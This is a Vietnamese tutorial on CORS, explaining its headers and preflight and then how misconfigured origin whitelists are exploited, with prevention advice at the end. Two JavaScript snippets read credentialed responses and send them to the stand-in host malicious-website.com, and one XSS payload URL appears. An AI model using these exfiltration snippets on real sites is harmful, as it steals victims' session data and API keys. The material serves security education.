πŸ”Cross-origin resource sharing (CORS)

What is CORS ?

Cross-origin resource sharing (CORS) lΓ  mα»™t cΖ‘ chαΊΏ trΓ¬nh duyệt cho phΓ©p truy cαΊ­p tα»›i nhiều tΓ i nguyΓͺn khΓ‘c nhau(nhΖ° JavaScript, fonts, ...) tα»« cΓ‘c domain khΓ‘c vα»›i domain cα»§a trang Δ‘Γ³.

NΓ³ mở rα»™ng vΓ  thΓͺm tΓ­nh linh hoαΊ‘t cho SOP. Tuy nhiΓͺn, nΓ³ cΕ©ng tiềm αΊ©n nguy cΖ‘ xαΊ£y ra cΓ‘c cuα»™c tαΊ₯n cΓ΄ng giα»―a cΓ‘c doamin nαΊΏu chΓ­nh sΓ‘ch CORS cα»§a trang web được Δ‘α»‹nh cαΊ₯u hΓ¬nh vΓ  triển khai yαΊΏu. CORS khΓ΄ng phαΊ£i lΓ  biện phΓ‘p bαΊ£o vệ chα»‘ng lαΊ‘i cΓ‘c cuα»™c tαΊ₯n cΓ΄ng cross-origin, chαΊ³ng hαΊ‘n nhΖ° giαΊ£ mαΊ‘o yΓͺu cαΊ§u trΓͺn nhiều trang web (CSRF).

Same-origin policy

CΓ‘c bαΊ‘n cΓ³ thể đọc mα»™t bΓ i mΓ¬nh research SOP ở Δ‘Γ’y

CORS and the Access-Control-Allow-Origin response header

What is the Access-Control-Allow-Origin response header?

Access-Control-Allow-Origin header được bao gα»“m response tα»« mα»™t website tα»›i mα»™t request gα»‘c tα»« mα»™t website khΓ‘c vΓ  xΓ‘c Δ‘α»‹nh nguα»“n gα»‘c được permit cα»§a request. TrΓ¬nh duyệt web so sΓ‘nh Access-Control-Allow-Origin vα»›i request gα»‘c cα»§a trang web vΓ  cho phΓ©p truy cαΊ­p tα»›i response nαΊΏu chΓΊng khα»›p.

Implementing simple cross-origin resource sharing

Cross-origin resource sharing (CORS) quy Δ‘α»‹nh rΓ΅ rΓ ng nα»™i dung header giα»―a cΓ‘c web servers vΓ  cΓ‘c trΓ¬nh duyệt mΓ  hαΊ‘n chαΊΏ origin cho tΓ i nguyΓͺn web request ngα»“i domain gα»‘c. Đặc tαΊ£ cα»§a CORS xΓ‘c Δ‘α»‹nh rΓ΅ mα»™t tαΊ­p hợp cΓ‘c header cα»§a giao thα»©c trong Δ‘Γ³ Access-Control-Allow-Origin lΓ  quan trọng nhαΊ₯t. Nhα»―ng cΓ‘i header nΓ y được return bởi mα»™t server khi mα»™t website requests mα»™t cross-doamin resource vα»›i mα»™t Origin header được thΓͺm vΓ o trΓ¬nh duyệt.

VΓ­ dα»₯: GiαΊ£ sα»­ mα»™t website vα»›i miền gα»‘c: shang.com thα»±c hiện mα»™t cross-domain request sau:

GET /data HTTP/1.1
Host: robust-website.com
Origin : https://shang.com

Server ở sha1vu.com trả về response sau:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://shang.com

Khi Δ‘Γ³ trΓ¬nh duyệt sαΊ½ cho phΓ©p code chαΊ‘y trΓͺn shang.com được truy cαΊ­p tα»›i response bởi vΓ¬ Origin khα»›p nhau.

Đặc tαΊ£ cα»§a Access-Control-Allow-Origin cho phΓ©p nhiều origin(multiple) hoαΊ·c giΓ‘ trα»‹ null hoαΊ·c kΓ½ tα»± Δ‘αΊ‘i diện * . Tuy nhiΓͺn khΓ΄ng trΓ¬nh duyệt hα»— trợ multiple origin vΓ  cΓ³ nhα»―ng hαΊ‘n chαΊΏ về việc sα»­ dα»₯ng kΓ½ tα»± Δ‘αΊ‘i diện * .

Handling cross-origin resource requests with credentials

HΓ nh vi mαΊ·c Δ‘α»‹nh cα»§a request cross-origin resource lΓ  request được pass mΓ  khΓ΄ng xΓ‘c Δ‘inh nhΖ° cookies vΓ  Authorization header. Tuy nhiΓͺn cross-domain server cΓ³ thể cho phΓ©p đọc phαΊ£n hα»“i khi thΓ΄ng tin xΓ‘c thα»±c được pass tα»›i nΓ³ bởi setting cα»§a CORS Access-Control-Allow-Credentials header lΓ  true. BΓ’y giờ nαΊΏu request cα»§a website sα»­ dα»₯ng JS để trΓ¬nh bΓ y rαΊ±ng nΓ³ Δ‘ang gα»­i cookie ở request:

GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>

VΓ  response tα»›i request lΓ :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

Sau Δ‘Γ³ trΓ¬nh duyệt sαΊ½ cho phΓ©p request cα»§a website đọc response, bởi vΓ¬ Access-Control-Allow-Credentials response header được set lΓ : true

Relaxation of CORS specifications with wildcards

The header Access-Control-Allow-Origin hα»— trợ kΓ½ tα»± Δ‘αΊ‘i diện.

VΓ­ dα»₯:

Access-Control-Allow-Origin: *

Ghi chΓΊ rαΊ±ng kΓ½ tα»± Δ‘αΊ‘i diện cΓ³ thể khΓ΄ng được sα»­ dα»₯ng vα»›i bαΊ₯t kα»³ giΓ‘ trα»‹ nΓ o. VΓ­ dα»₯ header sau Δ‘Γ’y khΓ΄ng hợp lệ:

Access-Control-Allow-Origin: https://*.normal-website.com

Tα»« gΓ³c Δ‘α»™ bαΊ£o mαΊ­t, việc sα»­ dα»₯ng kΓ½ tα»± Δ‘αΊ‘i diện bα»‹ hαΊ‘n chαΊΏ trong Δ‘αΊ·c Δ‘iểm kα»Ή thuαΊ­t vΓ¬ bαΊ‘n khΓ΄ng thể kαΊΏt hợp kΓ½ tα»± Δ‘αΊ‘i diện vα»›i cross-origin việc chuyển giao thΓ΄ng tin xΓ‘c thα»±c (xΓ‘c thα»±c, cookie hoαΊ·c chα»©ng chỉ phΓ­a khΓ‘ch hΓ ng). Do Δ‘Γ³, cross-domain server response cα»§a form:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

KhΓ΄ng được phΓ©p vΓ¬ Δ‘iều nΓ y sαΊ½ khΓ΄ng an toΓ n, hiển thα»‹ bαΊ₯t kα»³ nα»™i dung xΓ‘c thα»±c nΓ o trΓͺn trang web mα»₯c tiΓͺu cho mọi người.

Vα»›i cΓ‘c rΓ ng buα»™c nΓ y, mα»™t sα»‘ mΓ‘y chα»§ Web tα»± Δ‘α»™ng tαΊ‘o ra cΓ‘c Access-Control-Allow-Origin header dα»±a trΓͺn the client-specified origin. ĐÒy lΓ  mα»™t cΓ‘ch giαΊ£i quyαΊΏt cho cΓ‘c rΓ ng buα»™c CORS khΓ΄ng an toΓ n.

Pre-flight checks

Pre-flight checks Δ‘Γ£ được thΓͺm vΓ o Δ‘αΊ·c tαΊ£ CORS để bαΊ£o vệ tΓ i nguyΓͺn kαΊΏ thα»«a khỏi cΓ‘c tΓΉy chọn yΓͺu cαΊ§u mở rα»™ng được CORS cho phΓ©p.

Trong mα»™t sα»‘ trường hợp nhαΊ₯t Δ‘α»‹nh, khi yΓͺu cαΊ§u tα»« cross-domain bao gα»“m phΖ°Ζ‘ng phΓ‘p HTTP hoαΊ·c tiΓͺu đề non-standard, cross-origin requests được Δ‘i trΖ°α»›c bởi mα»™t yΓͺu cαΊ§u sα»­ dα»₯ng OPTIONS method vΓ  CORS protocol cαΊ§n phαΊ£i kiểm tra method vΓ  header nΓ o được cho phΓ©p trΖ°α»›c khi cho phΓ©p cross-origin request. ĐÒy được gọi lΓ  Prefligh Check. Server sαΊ½ trαΊ£ về mα»™t danh sΓ‘ch cΓ‘c method được phΓ©p ngoΓ i origin Δ‘Γ‘ng tin cαΊ­y vΓ  kiểm tra trΓ¬nh duyệt để xem liệu method cα»§a trang web yΓͺu cαΊ§u cΓ³ được phΓ©p khΓ΄ng.

VΓ­ dα»₯: Δ‘Γ’y lΓ  yΓͺu cαΊ§u trΖ°α»›c chuyαΊΏn bay Δ‘ang tΓ¬m cΓ‘ch sα»­ dα»₯ng phΖ°Ζ‘ng thα»©c nΓ y cΓΉng vα»›i tiΓͺu đề yΓͺu cαΊ§u tΓΉy chỉnh được gọi lΓ PUT Special-Request-Header:

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

Server sẽ trả về response như sau:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Response nΓ y set cΓ‘c method được cho phΓ©p (PUT, POST vΓ  OPTIONS) vΓ  cΓ‘c request header được phΓ©p (Special-Request-Header). Trong trường hợp cα»₯ thể nΓ y, Cross-domain server cΕ©ng cho phΓ©p gα»­i thΓ΄ng tin Δ‘Δƒng nhαΊ­p vΓ  Access-Control-Max-Age header xΓ‘c Δ‘α»‹nh khung thời gian tα»‘i Δ‘a để lΖ°u trα»― pre-flight response để sα»­ dα»₯ng lαΊ‘i. NαΊΏu cΓ‘c request methods vΓ  headers được cho phΓ©p (nhΖ° trong vΓ­ dα»₯ nΓ y) thΓ¬ trΓ¬nh duyệt sαΊ½ xα»­ lΓ½ cross-origin request theo cΓ‘ch thΓ΄ng thường. Pre-flight sαΊ½ thΓͺm mα»™t extra HTTP request vΓ o cross-domain request.

Does CORS protect against CSRF?

CORS khΓ΄ng cΕ©ng cαΊ₯p bαΊ£o vệ khỏi tαΊ₯n cΓ΄ng CSRF, Δ‘Γ’y lΓ  mα»™t nhαΊ­n Δ‘α»‹nh sai lαΊ§m.

CORS lΓ  được kiểm soΓ‘t nα»›i lỏng SOP, do Δ‘Γ³ CORS được cαΊ₯u hΓ¬nh kΓ©m/yαΊΏu thα»±c sα»± cΓ³ thể lΓ m tΔƒng khαΊ£ nΔƒng tαΊ₯n cΓ΄ng CSRF.

CΓ³ nhiều cΓ‘ch khΓ‘c nhau để thα»±c hiện cΓ‘c cuα»™c tαΊ₯n cΓ΄ng CSRF mΓ  khΓ΄ng cαΊ§n sα»­ dα»₯ng CORS, bao gα»“m cΓ‘c hΓ¬nh thα»©c HTML Δ‘Ζ‘n giαΊ£n vΓ  bao gα»“m cross-domain resource.

Vulnerabilities arising from CORS configuration issues

Nhiều trang web hiện Δ‘αΊ‘i sα»­ dα»₯ng CORS để cho phΓ©p truy cαΊ­p tα»« cΓ‘c domain phα»₯ vΓ  cΓ‘c bΓͺn thα»© ba Δ‘Γ‘ng tin cαΊ­y. Việc thα»±c hiện CORS cα»§a họ cΓ³ thể chα»©a lα»—i hoαΊ·c chαΊ―c chαΊ―n Δ‘αΊ£m bαΊ£o rαΊ±ng mọi thα»© hoαΊ‘t Δ‘α»™ng bΓ¬nh thường vΓ  Δ‘iều nΓ y cΓ³ thể dαΊ«n Δ‘αΊΏn cΓ‘c lα»— hα»•ng cΓ³ thể khai thΓ‘c. (Lα»— hα»•ng phΓ‘t sinh tα»« cΓ‘c vαΊ₯n đề cαΊ₯u hΓ¬nh CORS)\

Server-generated ACAO header from client-specified Origin header

Mα»™t sα»‘ α»©ng dα»₯ng cαΊ§n cung cαΊ₯p quyền truy cαΊ­p vΓ o mα»™t sα»‘ domain khΓ‘c. Duy trΓ¬ danh sΓ‘ch cΓ‘c doamin được phΓ©p yΓͺu cαΊ§u nα»— lα»±c khΓ΄ng ngα»«ng vΓ  bαΊ₯t kα»³ sai sΓ³t nΓ o cΕ©ng cΓ³ nguy cΖ‘ phΓ‘ vα»‘ chα»©c nΔƒng. VΓ¬ vαΊ­y, mα»™t sα»‘ α»©ng dα»₯ng sα»­ dα»₯ng con đường dα»… dΓ ng để cho phΓ©p truy cαΊ­p hiệu quαΊ£ tα»« bαΊ₯t kα»³ miền nΓ o khΓ‘c.

Mα»™t cΓ‘ch để thα»±c hiện việc nΓ y lΓ  đọc Origin header tα»« cΓ‘c yΓͺu cαΊ§u vΓ  bao gα»“m response header cho biαΊΏt request origin được cho phΓ©p.

VΓ­ dα»₯: hΓ£y xem xΓ©t mα»™t α»©ng dα»₯ng nhαΊ­n được request sau:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Sau Δ‘Γ³ nΓ³ respond vα»›i:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

CΓ‘c header nΓ y cho biαΊΏt rαΊ±ng quyền truy cαΊ­p được cho phΓ©p tα»« domain yΓͺu cαΊ§u (malicious-website.com) vΓ  cΓ‘c yΓͺu cαΊ§u trΓͺn nhiều origin cΓ³ thể bao gα»“m cookie (Access-Control-Allow-Credentials: true) vΓ  do Δ‘Γ³ sαΊ½ được xα»­ lΓ½ trong session.

Bởi vΓ¬ α»©ng dα»₯ng reflect origin tΓΉy Γ½ trong Access-Control-Allow-Origin header, Δ‘iều nΓ y cΓ³ nghΔ©a lΓ  hoΓ n toΓ n bαΊ₯t kα»³ miền nΓ o cΕ©ng cΓ³ thể truy cαΊ­p tΓ i nguyΓͺn tα»« domain vuln. NαΊΏu response chα»©a bαΊ₯t kα»³ thΓ΄ng tin nhαΊ‘y cαΊ£m nΓ o nhΖ° API key hoαΊ·c token CSRF, bαΊ‘n cΓ³ thể truy xuαΊ₯t Δ‘iều nΓ y bαΊ±ng cΓ‘ch chαΊ‘y script sau trΓͺn trang web cα»§a bαΊ‘n:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//malicious-website.com/log?key='+this.responseText;
};

Errors parsing Origin headers

Mα»™t sα»‘ α»©ng dα»₯ng hα»— trợ quyền truy cαΊ­p tα»« nhiều nguα»“n gα»‘c lΓ m nhΖ° vαΊ­y bαΊ±ng cΓ‘ch sα»­ dα»₯ng danh sΓ‘ch trαΊ―ng cΓ³ nguα»“n gα»‘c được phΓ©p. Khi nhαΊ­n được yΓͺu cαΊ§u CORS, nguα»“n gα»‘c được cung cαΊ₯p được so sΓ‘nh vα»›i danh sΓ‘ch trαΊ―ng. NαΊΏu nguα»“n gα»‘c xuαΊ₯t hiện trΓͺn danh sΓ‘ch trαΊ―ng thΓ¬ nΓ³ được phαΊ£n Γ‘nh trong tiΓͺu đề cΓ³ nguα»“n gα»‘c kiểm soΓ‘t truy cαΊ­p để truy cαΊ­p được cαΊ₯p. VΓ­ dα»₯: α»©ng dα»₯ng nhαΊ­n được mα»™t yΓͺu cαΊ§u bΓ¬nh thường nhΖ°:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

Ứng dα»₯ng kiểm tra Origin dα»±a trΓͺn list of origin được phΓ©p cα»§a nΓ³ vΓ , nαΊΏu nΓ³ nαΊ±m trong danh sΓ‘ch, reflect origin nhΖ° sau:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

CΓ‘c lα»—i thường phΓ‘t sinh khi triển khai whitelists CORS Orgin. Mα»™t sα»‘ tα»• chα»©c quyαΊΏt Δ‘α»‹nh cho phΓ©p truy cαΊ­p tα»« tαΊ₯t cαΊ£ cΓ‘c domain phα»₯ cα»§a họ (bao gα»“m cαΊ£ nhα»―ng subdomain chΖ°a tα»“n tαΊ‘i trong tΖ°Ζ‘ng lai). VΓ  mα»™t sα»‘ α»©ng dα»₯ng cho phΓ©p truy cαΊ­p tα»« nhiều domain cα»§a cΓ‘c tα»• chα»©c khΓ‘c bao gα»“m cαΊ£ domain phα»₯ cα»§a họ. CΓ‘c quy tαΊ―c nΓ y thường được triển khai bαΊ±ng cΓ‘ch khα»›p cΓ‘c tiền tα»‘ hoαΊ·c hαΊ­u tα»‘ URL hoαΊ·c sα»­ dα»₯ng cΓ‘c biểu thα»©c thΓ΄ng thường. BαΊ₯t kα»³ lα»—i nΓ o trong quΓ‘ trΓ¬nh triển khai đều cΓ³ thể dαΊ«n Δ‘αΊΏn việc cαΊ₯p quyền truy cαΊ­p cho cΓ‘c miền bΓͺn ngoΓ i ngoΓ i Γ½ muα»‘n.

Note: CΓ‘c tα»• chα»©c hay cΓ‘c Group tαΊ­p Δ‘oΓ n thường sαΊ½ dΓΉng mα»™t domain chΓ­nh vΓ  tα»« Δ‘Γ³ chia ra cΓ‘c subdomain cho cΓ‘c mα»₯c Δ‘Γ­ch khΓ‘c mΓ  họ cho phΓ©p cΓ‘c subdomain cα»§a α»©ng dα»₯ng Δ‘Γ³ cΓ³ thể truy cαΊ­p tα»›i tΓ i nguyΓͺn gα»‘c nhΖ° lΓ  shang.vn thΓ¬ blog.shang.vn cΕ©ng cΓ³ thể truy cαΊ­p tΓ i nguyΓͺn gα»‘c nhΖ°ng nαΊΏu hacker.shang.com thΓ¬ cΕ©ng cΓ³ thể...

VΓ­ dα»₯: giαΊ£ sα»­ mα»™t α»©ng dα»₯ng cαΊ₯p truy cαΊ­p cho toΓ n bα»™ domain kαΊΏt thΓΊc bαΊ±ng:

normal-website.com

KαΊ» tαΊ₯n cΓ΄ng cΓ³ thể chiαΊΏm được truy cαΊ­p bαΊ±ng cΓ‘ch Δ‘Δƒng kΓ½ domain kiểu nhΖ° nΓ y:

hackersnormal-website.com

NgoΓ i ra nαΊΏu α»©ng dα»₯ng cαΊ₯p truy cαΊ­p cho toΓ n bα»™ domain cΓ³ bαΊ―t Δ‘αΊ§u bαΊ±ng:

normal-website.com

KαΊ» tαΊ₯n cΓ΄ng cΓ³ thể chiαΊΏm được truy cαΊ­p bαΊ±ng cΓ‘ch Δ‘Δƒng kΓ½ domain kiểu nhΖ° nΓ y:

normal-website.com.evil-user.net

Whitelisted null origin value

ThΓ΄ng sα»‘ kα»Ή thuαΊ­t cho Header Origin trợ giΓ‘ trα»‹ . CΓ‘c trΓ¬nh duyệt cΓ³ thể gα»­i giΓ‘ trα»‹ trong Origin header trong cΓ‘c tΓ¬nh huα»‘ng bαΊ₯t thường khΓ‘c nhau: null null

  • Cross-origin redirects.

  • Requests from serialized data.

  • Request using the protocol. file:

  • Sandboxed cross-origin requests.

Mα»™t sα»‘ α»©ng dα»₯ng cΓ³ thể Δ‘Ζ°a ra whitelist cΓ³ orgin để hα»— trợ phΓ‘t triển Δ‘α»‹a phΖ°Ζ‘ng cα»§a α»©ng dα»₯ng.

VΓ­ dα»₯: GiαΊ£ sα»­ mα»™t α»©ng dα»₯ng nhαΊ­n được yΓͺu cαΊ§u cΓ³ nguα»“n gα»‘c chΓ©o sau: null

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

VΓ  server respond sαΊ½ nhΖ° nΓ y:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Trong tΓ¬nh huα»‘ng nΓ y, kαΊ» tαΊ₯n cΓ΄ng cΓ³ thể sα»­ dα»₯ng cΓ‘c thα»§ thuαΊ­t khΓ‘c nhau để tαΊ‘o yΓͺu cαΊ§u cΓ³ nguα»“n gα»‘c chΓ©o cΓ³ chα»©a giΓ‘ trα»‹ trong tiΓͺu đề gα»‘c. Điều nΓ y sαΊ½ Δ‘Γ‘p α»©ng danh sΓ‘ch trαΊ―ng, dαΊ«n Δ‘αΊΏn truy cαΊ­p tΓͺn miền chΓ©o.

VΓ­ dα»₯: Δ‘iều nΓ y cΓ³ thể được thα»±c hiện bαΊ±ng cΓ‘ch sα»­ dα»₯ng mα»™t sandboxed cross-origin request cα»§a form: null iframe

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

Exploiting XSS via CORS trust relationships

Ngay cαΊ£ CORS được Δ‘α»‹nh cαΊ₯u hΓ¬nh "correctly" cΕ©ng thiαΊΏt lαΊ­p mα»‘i quan hệ tin cαΊ­y giα»―a hai nguα»“n gα»‘c. NαΊΏu mα»™t trang web tin tưởng mα»™t nguα»“n gα»‘c dα»… bα»‹ tαΊ₯n cΓ΄ng bởi tαΊ­p lệnh chΓ©o trang (XSS), thΓ¬ kαΊ» tαΊ₯n cΓ΄ng cΓ³ thể khai thΓ‘c XSS để tiΓͺm mα»™t sα»‘ JavaScript sα»­ dα»₯ng CORS để truy xuαΊ₯t thΓ΄ng tin nhαΊ‘y cαΊ£m tα»« trang web tin cαΊ­y α»©ng dα»₯ng dα»… bα»‹ tαΊ₯n cΓ΄ng.

Cho mα»™t request nhΖ° sau:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

NαΊΏu server phαΊ£n hα»“i nhΖ° nΓ y:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Sau Δ‘Γ³ kαΊ» tαΊ₯n cΓ΄ng tΓ¬m lα»— hα»•ng XSS để cΓ³ thể trα»™m API Key, url nΓ³ sαΊ½ nhΖ° sau:subdomain.vulnerable-website.com

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

Breaking TLS with poorly configured CORS

GiαΊ£ sα»­ mα»™t α»©ng dα»₯ng sα»­ dα»₯ng nghiΓͺm ngαΊ·t HTTPS cΕ©ng danh sΓ‘ch trαΊ―ng lΓ  mα»™t tΓͺn miền phα»₯ Δ‘Γ‘ng tin cαΊ­y Δ‘ang sα»­ dα»₯ng HTTP Δ‘Ζ‘n giαΊ£n.

VΓ­ dα»₯: khi α»©ng dα»₯ng nhαΊ­n được yΓͺu cαΊ§u sau:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

Ứng dα»₯ng respond nhΖ° nΓ y:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Trong tΓ¬nh huα»‘ng nΓ y, mα»™t kαΊ» tαΊ₯n cΓ΄ng cΓ³ thể chαΊ·n lΖ°u lượng truy cαΊ­p cα»§a người dΓΉng nαΊ‘n nhΓ’n cΓ³ thể khai thΓ‘c cαΊ₯u hΓ¬nh CORS để thỏa hiệp sα»± tΖ°Ζ‘ng tΓ‘c cα»§a nαΊ‘n nhΓ’n vα»›i α»©ng dα»₯ng. Cuα»™c tαΊ₯n cΓ΄ng nΓ y liΓͺn quan Δ‘αΊΏn cΓ‘c bΖ°α»›c sau:

  • Người dΓΉng sα»­a dα»₯ng bαΊ₯t kα»³ HTTP request nΓ o

  • KαΊ» tαΊ₯n cΓ΄ng sαΊ½ inject mα»™t redirection tα»›i: http://trusted-subdomain.vulnerable-website.com

  • TrΓ¬nh duyệt cα»§a nαΊ‘n nhΓ’n sαΊ½ follow chuyển hΖ°α»›ng:

  • KαΊ» tαΊ₯n cΓ΄ng chαΊ·n HTTP request Δ‘Ζ‘n giαΊ£n vΓ  return mα»™t response giαΊ£ mαΊ‘o chα»© mα»™t CORS request tα»›i: https://vulnerable-website.com

  • TrΓ¬nh duyệt nαΊ‘n nhΓ’n sαΊ½ tαΊ‘o CORS request bao gα»“m origin: http://trusted-subdomain.vulnerable-website.com

  • Ứng dα»₯ng cho phΓ©p request vΓ¬ Δ‘Γ’y lΓ  a whitelisted origin. Dα»― liệu nhαΊ‘y cαΊ£m được được trαΊ£ về trong response.

  • Trang giαΊ£ mαΊ‘o cα»§a kαΊ» tαΊ₯n cΓ΄ng cΓ³ thể đọc dα»― liệu nhαΊ‘y cαΊ£m vΓ  truyền dα»― liệu Δ‘Γ³ Δ‘αΊΏn bαΊ₯t kα»³ domain nΓ o dΖ°α»›i sα»± kiểm soΓ‘t cα»§a kαΊ» tαΊ₯n cΓ΄ng.

Cuα»™c tαΊ₯n cΓ΄ng nΓ y cΓ³ hiệu quαΊ£ ngay cαΊ£ khi trang web dα»… bα»‹ tαΊ₯n cΓ΄ng mαΊ‘nh mαΊ½ trong việc sα»­ dα»₯ng HTTPS, khΓ΄ng cΓ³ endpoint HTTP vΓ  tαΊ₯t cαΊ£ cΓ‘c cookie được gαΊ―n flag lΓ  an toΓ n.

Intranets and CORS without credentials

HαΊ§u hαΊΏt tαΊ₯n cΓ΄ng CORS dα»±a vΓ o sα»± hiện diện cα»§a header response:

Access-Control-Allow-Credentials: true

NαΊΏu khΓ΄ng cΓ³ header Δ‘Γ³, trΓ¬nh duyệt cα»§a người dΓΉng nαΊ‘n nhΓ’n sαΊ½ tα»« chα»‘i gα»­i cookie cα»§a họ, cΓ³ nghΔ©a lΓ  kαΊ» tαΊ₯n cΓ΄ng sαΊ½ chỉ cΓ³ quyền truy cαΊ­p vΓ o nα»™i dung khΓ΄ng xΓ‘c thα»±c mΓ  họ cΓ³ thể dα»… dΓ ng truy cαΊ­p bαΊ±ng cΓ‘ch duyệt trα»±c tiαΊΏp vΓ o trang web Δ‘Γ­ch.

Tuy nhiΓͺn, cΓ³ mα»™t tΓ¬nh huα»‘ng phα»• biαΊΏn trong Δ‘Γ³ kαΊ» tαΊ₯n cΓ΄ng khΓ΄ng thể truy cαΊ­p trα»±c tiαΊΏp vΓ o mα»™t trang web: khi Δ‘Γ³ lΓ  mα»™t phαΊ§n cα»§a mαΊ‘ng nα»™i bα»™ cα»§a tα»• chα»©c vΓ  nαΊ±m trong khΓ΄ng gian Δ‘α»‹a chỉ IP riΓͺng tΖ°. CΓ‘c trang web nα»™i bα»™ thường được giα»― ở mα»™t tiΓͺu chuαΊ©n bαΊ£o mαΊ­t thαΊ₯p hΖ‘n so vα»›i cΓ‘c trang web bΓͺn ngoΓ i, cho phΓ©p kαΊ» tαΊ₯n cΓ΄ng tΓ¬m thαΊ₯y cΓ‘c lα»— hα»•ng vΓ  truy cαΊ­p thΓͺm.

VΓ­ dα»₯: Cross-origin request trong mαΊ‘ng private cΓ³ thể nhΖ° sau:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

Server tra về:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

MΓ‘y chα»§ α»©ng dα»₯ng Δ‘ang trust cΓ‘c yΓͺu cαΊ§u tΓ i nguyΓͺn tα»« bαΊ₯t kα»³ origin nΓ o mΓ  khΓ΄ng cαΊ§n thΓ΄ng tin Δ‘Δƒng nhαΊ­p. NαΊΏu người dΓΉng trong khΓ΄ng gian Δ‘α»‹a chỉ IP riΓͺng tΖ° truy cαΊ­p Internet cΓ΄ng khai thΓ¬ cΓ³ thể thα»±c hiện cuα»™c tαΊ₯n cΓ΄ng dα»±a trΓͺn CORS tα»« trang web bΓͺn ngoΓ i sα»­ dα»₯ng trΓ¬nh duyệt cα»§a nαΊ‘n nhΓ’n lΓ m proxy để truy cαΊ­p tΓ i nguyΓͺn mαΊ‘ng nα»™i bα»™.

How to prevent CORS-based attacks

CΓ‘c lα»— hα»•ng CORS phΓ‘t sinh chα»§ yαΊΏu dΖ°α»›i dαΊ‘ng cαΊ₯u hΓ¬nh sai. Do Δ‘Γ³, phΓ²ng ngα»«a lΓ  mα»™t vαΊ₯n đề cαΊ₯u hΓ¬nh. CΓ‘c phαΊ§n sau Δ‘Γ’y mΓ΄ tαΊ£ mα»™t sα»‘ biện phΓ‘p phΓ²ng thα»§ hiệu quαΊ£ chα»‘ng lαΊ‘i cΓ‘c cuα»™c tαΊ₯n cΓ΄ng CORS.

Proper configuration of cross-origin requests

NαΊΏu mα»™t tΓ i nguyΓͺn web chα»©a thΓ΄ng tin nhαΊ‘y cαΊ£m, nguα»“n gα»‘c phαΊ£i được chỉ Δ‘α»‹nh Δ‘ΓΊng trong header: Access-Control-Allow-Origin

Only allow trusted sites

NΓ³ cΓ³ vαΊ» hiển nhiΓͺn nhΖ°ng Origin được chỉ Δ‘α»‹nh trong header chỉ nΓͺn lΓ  cΓ‘c trang web Δ‘Γ‘ng tin cαΊ­y. Đặc biệt, việc reflect orgin tα»« cΓ‘c cross-origin requests mΓ  khΓ΄ng cαΊ§n xΓ‘c thα»±c cΓ³ thể dα»… dΓ ng khai thΓ‘c vΓ  nΓͺn trΓ‘nh. Access-Control-Allow-Origin

Avoid whitelisting null

TrΓ‘nh sα»­ dα»₯ng header . Cross-origin resource gọi tα»« cΓ‘c tΓ i liệu nα»™i bα»™ vΓ  sandboxed requests cΓ³ thể chỉ Δ‘α»‹nh Origin. CORS header nΓͺn được xΓ‘c Δ‘α»‹nh Δ‘ΓΊng Δ‘α»‘i vα»›i Origin Δ‘Γ‘ng tin cαΊ­y cho cΓ‘c mΓ‘y chα»§ riΓͺng vΓ  cΓ΄ng cα»™ng. Access-Control-Allow-Origin: null null

Avoid wildcards in internal networks

TrΓ‘nh sα»­ dα»₯ng kΓ½ tα»± Δ‘αΊ‘i diện trong mαΊ‘ng nα»™i bα»™. Chỉ tin tưởng cαΊ₯u hΓ¬nh mαΊ‘ng để bαΊ£o vệ tΓ i nguyΓͺn nα»™i bα»™ lΓ  khΓ΄ng Δ‘α»§ khi cΓ‘c trΓ¬nh duyệt nα»™i bα»™ cΓ³ thể truy cαΊ­p cΓ‘c domain bΓͺn ngoΓ i khΓ΄ng Δ‘Γ‘ng tin cαΊ­y.

CORS is not a substitute for server-side security policies

